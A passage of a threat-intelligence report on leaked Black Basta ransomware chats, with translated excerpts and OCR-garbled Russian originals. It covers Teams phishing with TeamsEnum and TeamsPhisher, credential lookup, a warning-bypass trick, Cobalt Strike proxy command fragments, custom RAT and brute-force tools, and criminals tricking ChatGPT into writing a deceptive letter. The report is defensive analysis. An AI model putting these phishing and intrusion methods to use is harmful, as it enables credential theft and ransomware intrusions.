[17:18:19] _: and several input attempts

[17:18:22] _: also

[17:18:40] _: as well as those who couldn't complete
login i.e. these are invalid

Original Text

[17:14:58] AA: BOT sso

[17:15:20] AA: > Mbl TPy3MM MX Tak>Ke Kak OpUrnHan a
KaK Tbl nx 6epeLub?

[17:15:31] AA: ecnm 7 Byay cnaTb pa3zoM 10 kKoMaHWn?
[17:15:41] _: 310 >e peBepC-MPOKCH, Mbl MOCbIIaEM
3anpoc Ha Opwr 1 MpUHMMaeM OTBeT

[17:15:52] _: ecan nocnatb 3anpocC MblJIOM TO OH
OTAAET aZpec KapTUHKN B OTBETE

[17:16:04] _: He BaXXHO CKONbKO CNaThb

[17:16:11] _: HO ecTb Npobnema ogHa

[17:16:23] _: y pa3HbIX KOMNaHWN pa3HbIv agpec aadpc
HO Y HaC OH TO/IbKO OAMH Ha BCe

[17:16:28] _: uto Nnaneso

[17:16:42] _: Hy v ewé fOMEHbI HPOLLEHKM OUYEHD
CTPALLHO BLIFAAAAT U BbIOOpKa HebosibLuas nx
[17:17:02] AA: pomeH

[17:17:07] AA: 6poLueHka )

[17:17:13] AA: Hy HKyero

[17:17:19] AA: nonpoboBaTb BCe paBHO CTOUT
[17:17:28] AA: 5 symato AONXKEH BbINTU TOJIK C 3TOTO
[17:17:47] AA: a Kpeapbl KOTOPblE OH BBOAUT OHU
cobpatoTtbea?

[17:18:03] _: kpeab! Aa

[17:18:06] _: n OT OKTbI 1 OT aadC ToXe

[17:18:19] _: n HEeCKO/IbKO NOMNbITOK BBOAA

[17:18:22] _: Takke

[17:18:40] _: kak 1 Te KOTOpPble HEe CMOI/I 3aBEPLUNTb
BXOZ, T.e. 3TO HeBaAung,
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Phishing via Microsoft Teams

Translated

2023-09-29 11:28:52,
@usernamegg:matrix.bestflowers247.online,
https://www.bleepingcomputer.com/news/security/mi
crosoft-teams-phishing-attack-pushes-darkgate-
malware/#:~:text=A%20new%20phishing%20campaig
n%20is,365%20accounts%20to%200ther%20organiza
tions

2023-09-29 11:28:58,
@usernamegg:matrix.bestflowers247.online, here's
their method

[omitted]

2023-09-29 11:36:55,
@lapa:matrix.bestflowers247.online, cool, if it were
possible to write to different offices through teams,
without restrictions

2023-09-29 11:37:26,
@lapa:matrix.bestflowers247.onling, but | created a
test account, not corporate, and nothing, just can't
write to a company employee like that

2023-09-29 11:38:09,
@lapa:matrix.bestflowers247.online, okay, | still won't
write anything for teams for now, because | won't get
much through it

2023-09-29 11:38:54,
@lapa:matrix.bestflowers247.online, apparently that's
why the guys ask for vpn from corps

2023-09-29 11:39:20,
@lapa:matrix.bestflowers247.online, to log into the
account from the same ip address

Original Text

2023-09-29 11:28:52,
@usernamegg:matrix.bestflowers247.online,
https://www.bleepingcomputer.com/news/security/mi
crosoft-teams-phishing-attack-pushes-darkgate-
malware/#:~:text=A%20new%20phishing%20campaig
n%20is,365%20accounts%20to%200ther%200organiza
tions

2023-09-29 11:28:58,
@usernamegg:matrix.bestflowers247.online, BOT nx
cnocob

[omitted]

2023-09-29 11:36:55,
@lapa:matrix.bestflowers247.online, kpyTo, ecnv 6bi
yepes TMMC MOXHO 6b110 Hbl B pa3Hble KOHKTOPbI
HanucaTtb, 6e3 orpaHu4YeHui

2023-09-29 11:37:26,
@lapa:matrix.bestflowers247.online, Ho 7 co3gan akk
TECTOBbIMW, He KOpM, M HUWra, NPOCTO Tak He
HanmcaTb COTPYAHMKY KOMMaHMK

2023-09-29 11:38:09,
@lapa:matrix.bestflowers247.online, nagHo, s Bce xe
noka noA TMMC HU4Yero nucatb He Byay, MOTOMY YTO
MHOTO B HEM He MPOLLJIO

2023-09-29 11:38:54,
@lapa:matrix.bestflowers247.online, Buanmo pebsta
MO3TOMY M MPOCAT BHC OT KOPMOB

2023-09-29 11:39:20,
@lapa:matrix.bestflowers247.online, ytTo6bl BONTU B
aKKayHT C TOrO Xe annuwHMKa

Detailed examination of the chat logs reveals sophisticated target selection methods and efforts to improve

attack success rates. This section traces Black Basta's techniques for enhancing phishing attack precision through

the chat logs.
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Email Address Verification with TeamsEnum

Black Basta avoids indiscriminate phishing attacks, instead first verifying whether email addresses link to
corporate accounts. The group uses an open-source tool called TeamsEnum for this verification process,

selecting only confirmed corporate users as targets.

Mention of TeamsEnum

Translated

2023-10-05 15:44:38,
@usernamegg:matrix.bestflowers247.online, we can
check all our corps who sit in teams with this checker
<Masked: URL>

2023-10-05 15:44:51,
@usernamegg:matrix.bestflowers247.online, this
software checks the presence of email in teams and
tells you whether it's corp or not

Original Text

2023-10-05 15:44:38,
@usernamegg:matrix.bestflowers247.online, Ham
MO>HO OTYeKaTb BCE HaLUW KOPMbl KTO CUANUT B TUMC
yekepom BOT 3TMM <Masked: URL>

2023-10-05 15:44:51,
@usernamegg:matrix.bestflowers247.online, BoT 310T
codT YekaeT HaanuMe NoYTbl B teams v nuwet Tebe
Kopna 3TO WUAn HeT

TeamsEnum operates as outlined below. The chat logs suggest active collection of response pattern 2 data from

the diagram.

TeamsEnum

1. Authentication Request

Microsoft API

2. Receive Security Token

3. User Search Request

4. Receive User Information

Response Pattern

P =

User does not exist: Empty response (status code 200)

User exists with external access enabled: User information and presence information
User exists with external access disabled: Empty response (status code 403)

User exists without a Teams license: Empty response (status code 200)
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Acquisition of Account-Linked Passwords

Valid accounts require corresponding passwords as essential information. The chat logs reveal Black Basta

searching for account-linked passwords using Intelx[.]io. The service provides an API, suggesting efficient

collection of valid email addresses and passwords. The group likely used these legitimate credentials to infiltrate

target organizations.

Mention of Intelx[.]io

Translated

2024-05-14 17:05:27, @nickolas:talks.icu,
https://identity.intelx.io/

2024-05-14 17:05:35, @nickolas:talks.icu, here you
can work normally with date

2024-05-14 17:05:55, @nickolas:talks.icu, in general
search there's nothing, there either through API or
through this interface

2024-05-14 17:07:07,
@usernamegg:matrix.bestflowers247.online, yeah
2024-05-14 17:07:08,
@usernamegg:matrix.bestflowers247.online, | see
2024-05-14 17:07:11,
@usernamegg:matrix.bestflowers247.online,
convenient

2024-05-14 17:07:16,
@usernamegg:matrix.bestflowers247.online,:
https://identity.intelx.io/ here you can work normally
with date in general search there's nothing, there
either through API or through this interface
2024-05-14 17:10:28, @nickolas:talks.icu, entered
organization domain, you have tons of passwords

2024-05-14 17:10:35, @nickolas:talks.icu, just need to

optimize correctly

Original Text

2024-05-14 17:05:27, @nickolas:talks.icu,
https://identity.intelx.io/

2024-05-14 17:05:35, @nickolas:talks.icu, BOT 3a€ecb
MOXHO C AaTOM HOpManbHO paboTaTtb

2024-05-14 17:05:55, @nickolas:talks.icu, B 0bwiem
nouvcke Hedwra, Tam uam vepes Al nan yepes stot
NHTepdenc

2024-05-14 17:07:07,
@usernamegg:matrix.bestflowers247.online, ara
2024-05-14 17:07:08,
@usernamegg:matrix.bestflowers247.online, Buxy
2024-05-14 17:07:11,
@usernamegg:matrix.bestflowers247.online, yao6Ho
2024-05-14 17:07:16,
@usernamegg:matrix.bestflowers247.online,:
https://identity.intelx.io/ BOT 34eCb MOXHO C AaToM
HopManbHO paboTath B 0bLem nouncke Hedura, Tam
nnn yepes Al nan yepes 3ToT UHTEPPENC
2024-05-14 17:10:28, @nickolas:talks.icu, BBen gomeH
opraHusaumu, y Tebs Kyya naccos

2024-05-14 17:10:35, @nickolas:talks.icu, npocto
HaZo ONTUMMU3MPOBATLCA NPaBUIbHO
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Phishing Attacks with TeamsPhisher

After collecting valid email addresses and passwords, the group deployed TeamsPhisher to send phishing
messages through Microsoft Teams. Initial conversations indicated this method required corporate Microsoft

Teams accounts.

Sharing of TeamsPhisher

Translated

2023-10-05 11:52:51,
@w:matrixtcFJHPDbImt2rg.network, <Masked: URL>
2023-10-05 11:52:59,
@w:matrixtcFJHPDbImt2rg.network, and this shit
already sends to mailboxes

2023-10-05 11:53:04,
@w:matrixtcFJHPDbImt2rg.network, well through
teams

2023-10-05 11:53:12,
@usernamegg:matrix.bestflowers247.online,
<Masked: URL>

2023-10-05 11:53:15,
@w:matrixtcFJHPDbImt2rg.network, but it has 1
minus, it can only send from corp teams

Original Text

2023-10-05 11:52:51,
@w:matrixtcFJHPDbImt2rg.network, <Masked: URL>
2023-10-05 11:52:59,
@w:matrixtcFJHPDbImt2rg.network, a BoT 31a xepHs
y>e oTnpasaseT no AlmnKam

2023-10-05 11:53:04,
@w:matrixtcFJHPDbImt2rg.network, Hy no tumcy
2023-10-05 11:53:12,
@usernamegg:matrix.bestflowers247.online,
<Masked: URL>

2023-10-05 11:53:15,
@w:matrixtcFJHPDbImt2rg.network, Ho B HeWt ecTb 1
MWHYC, OHa yMeeT OTNpPaBAATb TONAbKO C KOpn
TVIMCOB
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Consultation on the Use of TeamsPhisher

Translated

2023-10-06 07:43:47,
@usernameyy:matrix.bestflowers247.online, here by the
way personal accounts are allowed (without corporate
tariff) <Masked: URL> and here <Masked: URL>
corporate is hardcoded, | assume that corporate
account is not necessary at all, one authorization
method is used in both applications, that's what | wrote
2023-10-06 07:48:11,
@usernamehh:matrix.bestflowers247.online, good
morning

2023-10-06 07:51:42,
@usernamegg:matrix.bestflowers247.online, no, in the
first script everything is fine, in the second one too line
263 search for mailbox owner name. There the logic is
like this: script first writes Hi, hello, good morning and if
it finds a dot in the email, it splits this email and adds
first and last name to the letter. Well then we can leave
this in principle it's not so important <Masked: URL>
here by the way personal accounts are allowed (without
corporate tariff) <Masked: URL> and here <Masked:
URL> corporate is hardcoded, | assume that corporate
account is not necessary at all, one authorization
method is used in both applications, that's what | wrote
2023-10-06 07:51:59,
@usernamegg:matrix.bestflowers247.online, Screenshot
2023-10-06 at 10.51.47.png

2023-10-06 07:52:59,
@lapa:matrix.bestflowers247.online, now the problem is
different

2023-10-06 07:53:04,
@lapa:matrix.bestflowers247.online, doesn't inbox
normally | think

2023-10-06 07:53:09,
@lapa:matrix.bestflowers247.online, not one answered
2023-10-06 07:53:15,
@lapa:matrix.bestflowers247.online, what | sent
manually, what through that script

2023-10-06 07:53:30,
@usernamegg:matrix.bestflowers247.online, now the
problem is different doesn't inbox normally | think not
one answered what | sent manually, what through that
script

2023-10-06 07:53:56,
@usernameyy:matrix.bestflowers247.online, try to send
to your account with this script
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Original Text

2023-10-06 07:43:47,
@usernameyy:matrix.bestflowers247.online, 3aecb
KCTaTW pa3peLleHbl MepcoHabHble akkayHTbl (6e3
kopnopaTtusHoro Tapuda) <Masked: URL> a TyT
<Masked: URL> 3axapfokxeH KOprnopaTUBHbIW,
noJsiararo, YTo KOPNOPATUBHbBIV aKKayHT BOOOLLE He
obs3aTeneH, o4MH MeTOZ aBTOpU3aL MK
NCrnonb3yeTcs B 060X NPUNOXKEHMAX, BOT, UTO A
nucan

2023-10-06 07:48:11,
@usernamehh:matrix.bestflowers247.online,
nobpoe yTpo

2023-10-06 07:51:42,
@usernamegg:matrix.bestflowers247.online, a HeT,
B NMEpPBOM CKPWMTe BCE B MOPAAKE, 3TO BO BTOPOM
TOXe 263 CTpOKa NOUCK MMeHW BAagenbla AmKa.
Tam Kopoue noruka Takas: CKpUnT BHavase nvwet
Hi, hello, good morning v ecan HaxoanT B NouTe
TOUKY, TO CIANTUT 3TY NOUTY 1 f06aBAAET UMSA 1
dbammamio B NnMcbMo. Hy Torga MO>XHO 3TO OCTaBUTb
B NPUHLMMNe He Tak BaxHO <Masked: URL> 3zecb
KCTaTW pa3peLleHbl MepcoHasbHble akkayHTbl (6e3
KopropaTtnBHoro Tapuda) <Masked: URL> a Tyt
<Masked: URL> 3axapaoKk>XeH KOPROpaTUBHbINA, 5
roJarato, YTo KOpPNOpPaTMBHbIA akkayHT BOOOLLE He
obs3aTeNeH, 04MH METOZ aBTOpPU3aL K
NCMONb3yeTCs B 0OOMX NPUNOXKEHMSX, BOT, UTO S
nucan

2023-10-06 07:51:59,
@usernamegg:matrix.bestflowers247.online,
CHumMok akpaHa 2023-10-06 B 10.51.47.png
2023-10-06 07:52:59,
@lapa:matrix.bestflowers247.online, cetuac
nobsiema B Apyrom

2023-10-06 07:53:04,
@lapa:matrix.bestflowers247.online, He nHOOKCUT
Xe AymMaro HopMaibHO

2023-10-06 07:53:09,
@lapa:matrix.bestflowers247.online, H1 oANH He
OTBETUN

2023-10-06 07:53:15,
@lapa:matrix.bestflowers247.online, uto BpyuHyto
npocnan, Yto yepes TOT CKPUMT

2023-10-06 07:53:30,
@usernamegg:matrix.bestflowers247.online, ceiuac



2023-10-06 07:54:23, nobsema B APYrom He MHHOKCUT XXe AyMato

@usernameyy:matrix.bestflowers247.online, | suspect HOPMaJ/IbHO HN OAUH He OTBETU YTO BPYUHYHO
the problem is with the file and name phisher npocsan, uto Yyepes TOT CKpUNT

2023-10-06 07:57:45, 2023-10-06 07:53:56,
@lapa:matrix.bestflowers247.online, make a new @usernameyy:matrix.bestflowers247.online,
account, I'll send from this teams, and also from mine, nonpobyi Ha CBOM akkayHT NocaaTtb 3TMM
which is regular, not business CKpUNTOM

2023-10-06 07:54:23,
@usernameyy:matrix.bestflowers247.online, s
nogo3peBatro Uto npobaema c GariioM N UMeHEM
phish her

2023-10-06 07:57:45,
@lapa:matrix.bestflowers247.online, caenante
HOBBbI aKK, i OTMPABJIO C 3TOr0 TUMCA, U eLle Co
CBOEro, KOTOPbIV OObIYHbIN, He BUsHec

The chat logs documented methods to bypass security warnings that appear when personal accounts message
corporate users. The conversations indicate this bypass techniques had already undergone patching at that time.
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Bypassing Microsoft Teams Security Warnings

Translated

2023-10-06 09:10:27,
@w:matrixtcFJHPDbImt2rg.network, <Masked: URL>
2023-10-06 09:10:34,
@w:matrixtcFJHPDbImt2rg.network, this will also be
useful to read

2023-10-06 09:11:27,
@lapa:matrix.bestflowers247.online, well in the script
when creating chat the chat name is not passed
[omitted]

2023-10-06 09:11:33,
@w:matrixtcFJHPDbImt2rg.network, also here's
another interesting thing

2023-10-06 09:12:19,
@lapa:matrix.bestflowers247.online, I'll read more
documentation if there is any

2023-10-06 09:12:35,
@w:matrixtcFJHPDbImt2rg.network, in short you
don't need to make a link in the letter, because you
essentially win by having your payload download
from a trusted domain and you can immediately
discard the factor that the domain is dirty
2023-10-06 09:14:06,
@lapa:matrix.bestflowers247.online, # Sending target
user MRl TWICE to create a "group chat" in order to
bypass "external user message approval" prompt #
See https://posts.inthecyber.com/leveraging-
microsoft-teams-for-initial-access-42beb07f12c4
2023-10-06 09:14:13,
@lapa:matrix.bestflowers247.online, here's such a
comment in the script

[omitted]

2023-10-06 09:14:37,
@lapa:matrix.bestflowers247.online, and yes it kind of
passes the user twice

[omitted]

2023-10-06 09:14:43,
@lapa:matrix.bestflowers247.online, apparently this
used to work

2023-10-06 09:15:08,
@lapa:matrix.bestflowers247.online, yes, it's easier to
just change the name in teams

2023-10-06 09:15:09,
@usernamegg:matrix.bestflowers247.online, well in
the script when creating chat the chat name is not
passed I'll read more documentation if there is any

Original Text

2023-10-06 09:10:27,
@w:matrixtcFJHPDbImt2rg.network, <Masked: URL>
2023-10-06 09:10:34,
@w:matrixtcFJHPDbImt2rg.network, BoT Toxe 6yaert
none3Ho NpoYnTaTh

2023-10-06 09:11:27,
@lapa:matrix.bestflowers247.online, Hy B ckpunTte
npwv CO3A4aHNM YaTa He nepesaeTcs Ha3BaHWe YaTa
[omitted]

2023-10-06 09:11:33,
@w:matrixtcFJHPDbImt2rg.network, Tak >e BOT eLle
NHTepecHoe

2023-10-06 09:12:19,
@lapa:matrix.bestflowers247.online, ewe nounTaro
AOKYMEHTALIMIO, eCn eCTb Takas

2023-10-06 09:12:35,
@w:matrixtcFJHPDbImt2rg.network, kapoue Tebe He
HaZo AenaTb NPOKanAKy B N1cbMe, MO Tbl MO CyTK
BbIMrpaeLlb TeM, UTO Y Tebs Harpyska ckaumBaeTcs C
TpacT JOMEHa N MOXHO cpa3y OTOpOoCUTb TOT PakTop,
YTO JOMEH IPA3HbIN

2023-10-06 09:14:06,
@lapa:matrix.bestflowers247.online, # Sending target
user MRl TWICE to create a "group chat" in order to
bypass "external user message approval" prompt #
See https://posts.inthecyber.com/leveraging-
microsoft-teams-for-initial-access-42beb07f12c4
2023-10-06 09:14:13,
@lapa:matrix.bestflowers247.online, TyT Takol KOMeHT
B CKpwunTe

[omitted]

2023-10-06 09:14:37,
@lapa:matrix.bestflowers247.online, n ga oH kak6bl
ABa pasa nepejaet nosb3oBaTens

[omitted]

2023-10-06 09:14:43,
@lapa:matrix.bestflowers247.online, Buaumo 310
paHblle paboTano

2023-10-06 09:15:08,
@lapa:matrix.bestflowers247.online, aa, npoLue
NPOCTO B TUMCE NMOMEHATb Ha3BaHWe

2023-10-06 09:15:09,
@usernamegg:matrix.bestflowers247.online, Hy B
CKpWMTe NpU CO3AaHMM YaTa He nepejaeTcs Ha3BaHue
yaTa elle NoYNTato AOKYMEHTALMIO, eC/IN eCTb Takas
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Sending target user MRI TWICE to create a "group
chat" in order to bypass "external user message
approval" prompt

2023-10-06 09:15:15,
@usernamegg:matrix.bestflowers247.online, # See
https://posts.inthecyber.com/leveraging-microsoft-
teams-for-initial-access-42beb07f12c4

[omitted]

2023-10-06 09:15:45,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> yes, it's easier
to just change the name in teams ++

2023-10-06 09:15:50,
@lapa:matrix.bestflowers247.online, apparently this
script used to bypass this warning

2023-10-06 09:16:04,
@lapa:matrix.bestflowers247.online, that the message
is outside the organization

2023-10-06 09:16:14,
@lapa:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> sent an image.
and there was no such warning

2023-10-06 09:16:22,
@lapa:matrix.bestflowers247.online, and now
apparently they fixed this flaw

Sending target user MRI TWICE to create a "group
chat" in order to bypass "external user message
approval" prompt

2023-10-06 09:15:15,
@usernamegg:matrix.bestflowers247.online, # See
https://posts.inthecyber.com/leveraging-microsoft-
teams-for-initial-access-42beb07f12c4

[omitted]

2023-10-06 09:15:45,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> aa, npowe
NPOCTO B TUMCE NMOMEHATb Ha3BaHWe ++

2023-10-06 09:15:50,
@lapa:matrix.bestflowers247.online, Buanmo paHbLue
3TOT CKPMNT 06X0AUN NpeaynpexAeHne 310
2023-10-06 09:16:04,
@lapa:matrix.bestflowers247.online, uto NucbMo BHe
opraHu3saumm

2023-10-06 09:16:14,
@lapa:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> sent an image.
1 Takoro npeaynpexzaeHuns He bbino

2023-10-06 09:16:22,
@lapa:matrix.bestflowers247.online, a ceityac Buammo
NCMpPaBWAN 3TOT KOCSK YXe

The group attempted to increase attack success rates by delivering malicious files through Microsoft Teams
rather than traditional phishing emails. This approach demonstrates Black Basta's awareness that security training
has reduced success rates for phishing emails with malicious attachments.
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Conversation on the Ineffectiveness of Simple Phishing Attacks Due to Security Education

Translated

2023-10-06 09:09:21,
@w:matrixtcFJHPDbImt2rg.network, Secondly, this
method allows avoiding the obviously dangerous
action of clicking on a link in an email, which
employees of many organizations have already been
trained on over recent years, which significantly
reduces the probability that a typical employee will
detect this as a phishing attack. The payload will now
be downloaded from a trusted Sharepoint domain

and will come as a file to our target's "Inbox" folder.
Thus, the payload will use the reputation of the
Sharepoint domain, rather than some random

malicious phishing website.

Original Text

2023-10-06 09:09:21,
@w:matrixtcFJHPDbImt2rg.network, Bo-BTopblx,
JaHHbI METO/ NMO3BOJIAET M3bexaTb 3aBeJ0MO
OMacHOro AenCTBMNA NO Nnepexoay no CCblike B
3NIEKTPOHHOM MUCbME, YeMY COTPYAHUKM MHOTUX
opraHu3saumi y>xe 6biam 0byyeHbl B TeueHne
NOCNeAHNX NIET, YTO 3HAYUTENbHO CHUXKAET
BEPOATHOCTb TOTO, YTO TUMNYHBIA COTPYAHMK
0BHapYXWUT 3TO Kak GULIMHIOBYHO aTaky. Mennoas
Tenepb ByaeT 3arpy>aTbCs C JOBEPEHHOro AOMeHa
Sharepoint 1 6yaeT noctynatb B BuAe dpaina B nanky
«Bxoasiwme» Hawero Tapreta. Takum obpaszom,
nernoag byaet ncnosb3osaTtb penyTauumto Sharepoint
AOMEHA, @ He KaKkoro-To cy4aliHoro BpeAoHOCHOTO
¢durwmHroeoro Beb-cawTa.

Black Basta employed various techniques to enhance attack success: filtering legitimate corporate email

addresses, obtaining passwords through OSINT, exploiting Microsoft Teams to reduce victim vigilance, and
exploring methods to bypass external message warnings. These sophisticated tactics indicate defenders must
monitor not only mass phishing emails but also attacks through internal communication platforms.

213



I 5.5 Proprietary Tools

Black Basta implemented custom tools and established efficient attack infrastructure. Development ranged from
rewriting existing tools in different languages to building sophisticated tools serving as core attack infrastructure.
This section analyzes four tools documented in the chat logs.

Coba Proxy
The leaked chat logs frequently contain Coba Proxy configuration exchanges, indicating Black Basta's regular use

of this tool. Coba Proxy enables handling of high-volume Cobalt Strike traffic while avoiding direct external
exposure of Cobalt Strike servers, thereby enhancing operational stealth.

>>> Coba PROXY <<<
ssh —-p19965 root@8 .250 r i
https://r 9.com (Ports: 80,443,8080,8888,7575,4444)

>>> Coba SERVER 4.8 TE <<<
ssh —p18183 root@l

COBA://1 .9:19254 ]
./teamserver 1

Domain Fronting Layer Proxy Layer

Legitimate CDN / Cloud SOCKSS5 Proxy / SSH Encryption

Cobalt Strike Beacon

|2 Cloudflare

Infected Computer I h // @ 1
=

Google Cloud

Cobalt Strike Server

——— TLS Encrypted Communication
SSH Tunnel

BREAKER

The chat logs mention Black Basta's development of BREAKER, a custom post-exploitation tool. The manual
shared by team members describes Remote Access Tool (RAT/C2) functionality for operating, monitoring, and
controlling target computers. Core features include injection capabilities, process management, and
communication protocol control. The tool emphasizes stealth enhancement and persistence maintenance in
compromised environments.
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The key functions are as follows. For the detailed BREAKER manual from the chat logs, refer to the Appendix.

® Process injection
> Self-injection into processes and shellcode injection capabilities

> Equipped with identification and filtering functions for AV-related and normal processes
> Filter to extract only injectable processes
® Remote access commands
> .NET assembly execution (execute_assembly)
> Impersonation token generation with make_token
> Process acquisition with ps command (improved stealth using cache)
> Supports numerous basic C2 operations such as upload and jump
® Network communication and evasion techniques
> Network communication protection using RC4 encryption
> Flexible network communication protocols via TCP / DNS / ICMP
> Silent mode to evade AV detection

BRUTED

Black Basta developed a custom brute-force attack framework called BRUTED. This framework automates
subdomain enumeration and IP resolution for specified domains targeting edge network devices such as
firewalls and VPN solutions widely deployed in corporate networks. It executes unauthorized access attempts
using automated internet scanning combined with username-password combinations from other service
breaches.

The tool efficiently conducts brute-force attacks against products from Citrix, Cisco, SonicWall, Fortinet, RDWeb,
GlobalProtect, and WatchGuard.

Kerbeus-BOF

Black Basta possesses capabilities to reimplement existing tools in different programming languages to enhance
attack success rates. Chat logs document member gg reimplementing Rubeus, a tool for manipulating and
exploiting Kerberos authentication in Active Directory (AD) environments, in a programming language different
from the original. Red teams commonly use Rubeus, originally written in C#. Rewriting in C language increases
stealth, complicates detection by security products, and facilitates integration with other attack tools such as
Cobalt Strike and Havoc.
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Sharing of Kerbeu-BOF

Translated Original Text

2023-11-20 16:14:04, 2023-11-20 16:14:04,
@usernamegg:matrix.bestflowers247.online, I've been = @usernamegg:matrix.bestflowers247.online, JaBHo
thinking for a long time whether to publish my Ayman, ny6avMkoBaTtb CBOM COPT MK HeT... BoT n
software or not... So | decided to start by rewriting pewwun aAns Hayana nepenuvcatb Rubeus (He Becb
Rubeus (not all of it of course) in C and converting to | koHeuHo) Ha C 1 nepeectn B COF danbl. B o0biem,
COF files. In general, it works out of the box with 13 Kopobkun pabotaet ¢ Cobalt Strike 1 Havoc &2 €2
Cobalt Strike and Havoc €2 €3 <Masked: URL> <Masked: URL>

These four tools demonstrate Black Basta's development of custom tools spanning initial access through post-
exploitation. This reveals a group possessing advanced capabilities to create efficiency-enhancing attack tools
beyond merely using existing ones. While leaked tool information aids defensive planning, Black Basta's
cessation may lead these skilled developers to join other ransomware groups and apply their expertise
elsewhere.

No solution exists for the perpetual cat-and-mouse game between attackers and defenders. Therefore,
implementing fundamental measures remains critical: security patching, multi-factor authentication, monitoring,
and defense-in-depth. Organizations must understand their IT environments, identify critical protection areas,
prevent intrusions, and respond rapidly at initial stages. Early detection of custom tool indicators proves essential
for countering sophisticated attacks.
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I 5.6 Use of Generative Al

Generative Al adoption spans various sectors currently, and the chat logs reveal similar trends within Black Basta.

They used generative Al usage for debugging, crafting deceptive messages, reconnaissance activities, and other

purposes.

Exploring ChatGPT for Debugging ARM Builds

Translated

2024-04-09 14:40:19,
@n3auxaxl:matrix.collectionofmanager.space, now I'm
making builds for arm and spilling

2024-04-09 14:40:23,
@n3auxaxl:matrix.collectionofmanager.space, under
linux amd64 everything works

2024-04-09 14:40:32,
@n3auxaxl:matrix.collectionofmanager.space, now I'll
spill everything and send you a list of proxies
2024-04-09 14:40:38,
@n3auxaxl:matrix.collectionofmanager.space, that
you'll connect to

2024-04-09 14:40:51,
@usernamegg:matrix.bestflowers247.online, wow let's
go

2024-04-09 14:41:03,
@n3auxaxl:matrix.collectionofmanager.space, +++, Il
write soon

2024-04-09 15:59:40,
@n3auxaxl:matrix.collectionofmanager.space, can't
run it for some reason

2024-04-09 15:59:51,
@n3auxaxl:matrix.collectionofmanager.space, can't
track whether it crashes there

2024-04-09 15:59:53,
@n3auxaxl:matrix.collectionofmanager.space, or
something else

2024-04-09 16:00:07,
@n3auxaxl:matrix.collectionofmanager.space, or just
doesn't start

2024-04-09 16:01:14,
@usernamegg:matrix.bestflowers247.online, well
there

2024-04-09 16:01:25,
@usernamegg:matrix.bestflowers247.online, (
2024-04-09 16:02:37,
@n3auxaxl:matrix.collectionofmanager.space,
although full access

Original Text

2024-04-09 14:40:19,
@n3auxaxl:matrix.collectionofmanager.space, wac s
Aenaro Gungbl NoA arm v NPOANBatO

2024-04-09 14:40:23,
@n3auxaxl:matrix.collectionofmanager.space, noga
NnHyxon amd64 Bce paboTaeTt

2024-04-09 14:40:32,
@n3auxaxl:matrix.collectionofmanager.space, wac
6yay npoanBaTbh BCe M CKMHY Tebe CNMCOK NpoKcein
2024-04-09 14:40:38,
@n3auxaxl:matrix.collectionofmanager.space, k
KOoTopbIM NoapybaTbca byseLlb

2024-04-09 14:40:51,
@usernamegg:matrix.bestflowers247.online, oro
JaBal

2024-04-09 14:41:03,
@n3auxaxl:matrix.collectionofmanager.space, +++,
OTMULLY CKOPO

2024-04-09 15:59:40,
@n3auxaxl:matrix.collectionofmanager.space, noka He
MOTY 3anyCTWTb MOYEM yTO

2024-04-09 15:59:51,
@n3auxaxl:matrix.collectionofmanager.space, He mory
OTCNeANTb KPALLWUT OH €ro Tam

2024-04-09 15:59:53,
@n3auxaxl:matrix.collectionofmanager.space, nau
eLe 4To

2024-04-09 16:00:07,
@n3auxaxl:matrix.collectionofmanager.space, nau
MPOCTO He 3arnyckaeT

2024-04-09 16:01:14,
@usernamegg:matrix.bestflowers247.online, Hy BoT
2024-04-09 16:01:25,
@usernamegg:matrix.bestflowers247.online, (
2024-04-09 16:02:37,
@n3auxaxl:matrix.collectionofmanager.space, xoTs
[OCTYN NOJHBIN
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2024-04-09 16:04:15,
@n3auxaxl:matrix.collectionofmanager.space, now I'll
chat with chat gpt

2024-04-09 16:04:20,
@n3auxaxl:matrix.collectionofmanager.space, maybe
the build isn't made for arm

2024-04-09 16:05:07,
@usernamegg:matrix.bestflowers247.online, let's go

Creation of Deceptive Messages with ChatGPT

Translated

2024-02-21 23:53:55,
@usernamenn:matrix.bestflowers247.online, when he
connected to his computer

2024-02-21 23:54:00,
@usernamenn:matrix.bestflowers247.online, started
panicking opened chat

2024-02-21 23:54:02,
@usernamenn:matrix.bestflowers247.online, with me
2024-02-21 23:54:15,
@usernamenn:matrix.bestflowers247.online, | quickly
tricked chat gpt and asked it to write me a fake letter
2024-02-21 23:54:19,
@usernamenn:matrix.bestflowers247.online,
believable

2024-02-21 23:54:21,
@usernamenn:matrix.bestflowers247.online, Upon
encountering issues with the domain controller, a
thorough examination of the hosts was conducted by
a specialized technical professional. The investigation
encompassed an in-depth scrutiny of the network
infrastructure, focusing on the integrity and
functionality of each host within the domain. This
encompassed a meticulous review of network
configurations, system logs, and performance metrics
to identify any anomalies or irregularities that could
potentially impede the domain controller's
operations. The examination was executed with
meticulous attention to detail, employing diagnostic
tools and methodologies tailored to the specific
nuances of domain controller operations. Through
this comprehensive analysis, the technical specialist
sought to pinpoint and rectify any underlying issues
affecting the stability and performance of the domain
controller, thereby ensuring the seamless operation of
the network environment.

2024-04-09 16:04:15,
@n3auxaxl:matrix.collectionofmanager.space, wac
nonwusxy c chat gpt

2024-04-09 16:04:20,
@n3auxaxl:matrix.collectionofmanager.space, moxet
6una He AA arm Aenaercs

2024-04-09 16:05:07,
@usernamegg:matrix.bestflowers247.online, gaBain

Original Text

2024-02-21 23:53:55,
@usernamenn:matrix.bestflowers247.online, koraa K
HeMy Ha KOMMN MPUKOHHEKTUICA

2024-02-21 23:54:00,
@usernamenn:matrix.bestflowers247.online, Hauan
MaHWKOBaTb YaT OTKPbI

2024-02-21 23:54:02,
@usernamenn:matrix.bestflowers247.online, co mHow
2024-02-21 23:54:15,
@usernamenn:matrix.bestflowers247.online, s 6bicTpo
chat rnT nogHae6an n nonpocun MHe HanucaTb derk
NMCbMO

2024-02-21 23:54:19,
@usernamenn:matrix.bestflowers247.online,
npasgonogobHoe

2024-02-21 23:54:21,
@usernamenn:matrix.bestflowers247.online, Upon
encountering issues with the domain controller, a
thorough examination of the hosts was conducted by
a specialized technical professional. The investigation
encompassed an in-depth scrutiny of the network
infrastructure, focusing on the integrity and
functionality of each host within the domain. This
encompassed a meticulous review of network
configurations, system logs, and performance metrics
to identify any anomalies or irregularities that could
potentially impede the domain controller's
operations. The examination was executed with
meticulous attention to detail, employing diagnostic
